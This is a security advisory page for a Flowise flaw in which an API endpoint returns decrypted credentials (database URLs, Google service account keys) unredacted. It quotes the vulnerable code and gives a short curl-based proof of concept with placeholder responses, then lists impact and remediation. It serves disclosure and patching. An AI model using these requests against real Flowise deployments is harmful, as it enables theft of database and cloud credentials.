GHSA-rwrp-9823-p2xq — flowise
MEDIUMGHSA-rwrp-9823-p2xq is a medium-severity (CVSS 6.5) Information Exposure vulnerability in flowise. A fix is available for flowise — see the affected versions and patch details below.
Flowise: Incomplete Credential Redaction Exposes Secrets via API
EPSS Exploitation Probability
EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.
How urgent is this, really
GHSA-rwrp-9823-p2xq plotted by exploitation likelihood (EPSS) against impact (CVSS). The shaded corner — EPSS 50%+ and CVSS 7.0+ — is where this CVE doesn't sit, though severity or exploitability alone can still warrant action.
Where this sits among everything scored
Of 376,715 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Real counts from FIRST.org, not a sample — log-scaled since the landscape is heavily right-skewed.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
flowisenpmDescription
Summary
The GET /api/v1/credentials/:id endpoint decrypts stored credential data and returns it in the plainDataObj field of the API response. While a redactCredentialWithPasswordType() function masks fields defined with type: 'password' in their component schema, many credential types store highly sensitive data (database connection URLs with embedded passwords, Google service account JSON with RSA private keys, AWS access keys) in fields defined as type: 'string'. These string-type fields are returned in full plaintext without any redaction.
Any authenticated user with credentials:view permission can retrieve the raw secrets of any credential in their workspace by calling this endpoint.
Vulnerable Code
Service Layer
packages/server/src/services/credentials/index.ts, getCredentialById() (line 127):
At line 138, the credential's encrypted data is decrypted:
const decryptedCredentialData = await decryptCredentialData(
credential.encryptedData,
credential.credentialName,
appServer.nodesPool.componentCredentials
)
At lines 143-146, the decrypted data is attached to the response as plainDataObj:
const returnCredential: ICredentialReturnResponse = {
...credential,
plainDataObj: decryptedCredentialData // <-- decrypted secrets in response
}
At line 147, only encryptedData is stripped, leaving plainDataObj intact:
const dbResponse: any = omit(returnCredential, ['encryptedData'])
Incomplete Redaction
packages/server/src/utils/index.ts, redactCredentialWithPasswordType() (line 1697):
export const redactCredentialWithPasswordType = (
componentCredentialName: string,
decryptedCredentialObj: ICredentialDataDecrypted,
componentCredentials: IComponentCredentials
): ICredentialDataDecrypted => {
const plainDataObj = cloneDeep(decryptedCredentialObj)
for (const cred in plainDataObj) {
const inputParam = componentCredentials[componentCredentialName].inputs?.find(
(inp) => inp.type === 'password' && inp.name === cred // <-- only 'password' type
)
if (inputParam) {
plainDataObj[cred] = REDACTED_CREDENTIAL_VALUE
}
}
return plainDataObj
}
This function only redacts fields where inp.type === 'password'. Fields with type: 'string' are returned verbatim, even when they contain secrets.
Credential Definitions Storing Secrets in String-Type Fields
| Credential | Field | Type | Contains |
|---|---|---|---|
mongoDBUrlApi | mongoDBConnectUrl | string | mongodb+srv://user:password@host/db |
googleVertexAuth | googleApplicationCredential | string | Full service account JSON with RSA private key |
postgresUrl | postgresUrl | string | postgresql://user:password@host/db |
redisCacheUrlApi | redisUrl | string | redis://user:password@host:port |
awsApi | awsKey | string | AWS Access Key ID |
langfuseApi | langFusePublicKey | string | Langfuse API public key |
httpBasicAuth | basicAuthUsername | string | HTTP Basic Auth username |
There are 60+ credential definitions in packages/components/credentials/, many with sensitive string-type fields.
Proof of Concept
Environment
- Flowise v3.0.13 (
flowiseai/flowise:latestDocker image) - Authenticated as admin user via enterprise auth
Steps to Reproduce
- Start Flowise and log in as any user with
credentials:viewpermission. - Create a MongoDB credential with a connection URL containing embedded credentials:
curl -X POST "http://TARGET:3000/api/v1/credentials" \
-H "Content-Type: application/json" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>" \
-d '{
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
}
}'
- Retrieve the credential by ID:
curl -X GET "http://TARGET:3000/api/v1/credentials/<credential-id>" \
-H "x-request-from: internal" \
-H "Cookie: token=<jwt-token>"
Observed Result
The API returns the MongoDB connection URL in full plaintext, including the embedded password:
{
"id": "e9543cad-8c0c-422e-9990-090c3b1dc3ab",
"name": "MongoDB Production",
"credentialName": "mongoDBUrlApi",
"createdDate": "2026-02-07T17:35:29.000Z",
"updatedDate": "2026-02-07T17:35:29.000Z",
"plainDataObj": {
"mongoDBConnectUrl": "mongodb+srv://admin:[email protected]/mydb"
}
}
The same test with a Google Vertex Auth credential returned the complete service account JSON including the RSA private key in plaintext:
{
"id": "f7768444-a4fc-4fa3-8e5e-d0d4df89fb56",
"name": "Google Vertex Auth",
"credentialName": "googleVertexAuth",
"plainDataObj": {
"googleApplicationCredential": "{\"type\":\"service_account\",\"private_key\":\"-----BEGIN RSA PRIVATE KEY-----\\nMIIEpAIBAAKCAQEA0Z3VS5JJcds3xfn/ygWep4PAtGoL3VBpFe97XRQFQB\\n-----END RSA PRIVATE KEY-----\\n\",\"client_email\":\"[email protected]\"}",
"projectID": "my-project-123"
}
}
For comparison, an OpenAI API key (where the field is typed as password) was correctly redacted:
{
"plainDataObj": {
"openAIApiKey": "_FLOWISE_BLANK_07167752-1a71-43b1-"
}
}
This confirms the redaction is only applied to password-type fields, leaving string-type fields fully exposed.
Impact
- Database credential theft: MongoDB, PostgreSQL, Redis, MySQL connection URLs with embedded passwords are returned in full plaintext. An attacker can use these to directly access production databases.
- Cloud service account compromise: Google service account JSON with RSA private keys is returned in plaintext, enabling full impersonation of the service account across Google Cloud.
- AWS key exposure: AWS Access Key IDs stored in
string-type fields are exposed, enabling enumeration of active AWS credentials. - Lateral movement: Stolen credentials enable pivoting from the Flowise instance to connected cloud services, databases, and APIs.
- Multi-user workspace risk: In multi-user deployments, any user with
credentials:viewpermission can harvest all workspace credentials via the API.
Remediation
- Apply
redactCredentialWithPasswordType()to all sensitive credential fields, not just those typed aspassword. Any field containing secrets (connection strings, JSON credentials, access keys) should be redacted. - Consider never returning
plainDataObjin API responses. The UI should use masked previews (e.g.,mongodb+srv://admin:****@cluster0...) instead of full values. - Re-type sensitive credential fields from
stringtopasswordin component credential definitions to ensure they are covered by the existing redaction logic. - Add a separate
secret: trueflag to credential field definitions to explicitly mark sensitive fields regardless of their input type.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | flowise | all versions | 3.1.3npm install flowise@3.1.3 |
Detection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for flowise, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update flowise to 3.1.3 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-rwrp-9823-p2xq is resolved across your whole dependency graph.
Workarounds
If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.
How O3 protects you
O3 Security's impact-aware SCA analyses which vulnerable code paths your application actually calls, so a match like GHSA-rwrp-9823-p2xq can be triaged on real exposure rather than presence alone.
Tailored to GHSA-rwrp-9823-p2xq. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.
Frequently Asked Questions
Is GHSA-rwrp-9823-p2xq in your dependencies?
O3 Security finds GHSA-rwrp-9823-p2xq across npm dependencies, including transitive ones, and its impact-aware SCA ranks findings by whether your code actually calls the vulnerable path.